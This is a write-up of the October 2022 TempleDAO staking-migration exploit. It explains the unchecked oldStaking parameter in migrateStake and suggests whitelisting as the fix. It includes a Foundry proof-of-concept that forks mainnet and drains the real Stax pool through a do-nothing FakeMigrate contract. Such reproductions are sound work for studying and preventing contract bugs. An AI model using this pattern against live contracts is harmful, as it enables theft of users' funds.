TempleDAO Spoof Old Staking Contract

Total Losses

$2.3M+

Date

October 11, 2022

Network

ethereum

Step-by-step

Create a contract that does not revert when receiving a call to migrateWithdraw
Call migrateStake(evilContract, MAX_UINT256) and get a lot of tokens.

Detailed Description

The protocol wanted to allow users to migrate stake from an old contract to a new one. To do that, they provided a migrateStake function:

    function migrateStake(address oldStaking, uint256 amount) external {
        StaxLPStaking(oldStaking).migrateWithdraw(msg.sender, amount);
        _applyStake(msg.sender, amount);
    }

An OK implementation of migrateWithdraw should transfer amount from msg.sender to the current contract and revert if it wasn’t able to. _applyStake would later add amount to msg.sender.

Unfortunately, it is trivial to pass an evil oldStaking contract that never reverts.

Possible mitigations

Store a list of valid oldStaking contract addresses and whitelist them (needs an owner if the list needs to be dynamic)

Team Finance - Exploiting migration processes through malicious parameters
Sperax USD (USDS) - Abusing contract deployment timing in migration flows
AnySwap Permit Attack - Passing arbitrary contract addresses to bypass validation

TempleDao.attack.sol

solidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {IERC20} from "../../interfaces/IERC20.sol";

import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol";

interface IStax {
    function migrateStake(address oldStaking, uint256 amount) external;
    function withdrawAll(bool claim) external;
    function balanceOf(address) external returns (uint256);
}

contract Exploit_TempleDAO is TestHarness, TokenBalanceTracker {
    IERC20 internal staxLpToken = IERC20(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9);
    IStax internal stax = IStax(0xd2869042E12a3506100af1D192b5b04D65137941);

    function setUp() external {
        cheat.createSelectFork(vm.envString("RPC_URL"), 15_725_066);
        cheat.deal(address(this), 0 ether);

        addTokenToTracker(address(staxLpToken));
        updateBalanceTracker(address(this));
        updateBalanceTracker(address(stax));
    }

    function test_attack() external {
        console.log("------- INITIAL STATUS -------");
        console.log("Attacker balances");
        logBalances(address(this));
        console.log("Stax Pool balances");
        logBalances(address(stax));
        uint256 balanceBefore = stax.balanceOf(address(this));

        console.log("------- STEP 1: MIGRATE -------");
        address migrationTarget = address(new FakeMigrate{salt: bytes32(0)}());

        uint256 staxBalance = staxLpToken.balanceOf(address(stax));
        stax.migrateStake(migrationTarget, staxBalance);

        console.log("Attacker balances");
        logBalances(address(this));
        console.log("Stax Pool balances");
        logBalances(address(stax));

        console.log("------- STEP 2: WITHDRAW -------");
        stax.withdrawAll(false);

        console.log("Attacker balances");
        logBalances(address(this));
        console.log("Stax Pool balances");
        logBalances(address(stax));
        uint256 balanceAfter = stax.balanceOf(address(this));
        assertGe(balanceAfter, balanceBefore);
    }
}

contract FakeMigrate {
    // Migration callback
    function migrateWithdraw(address staker, uint256 amount) external {}
}

TempleDAO Spoof Old Staking Contract

Step-by-step

Detailed Description

Possible mitigations

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File Icon TempleDao.attack.sol

TempleDao.attack.sol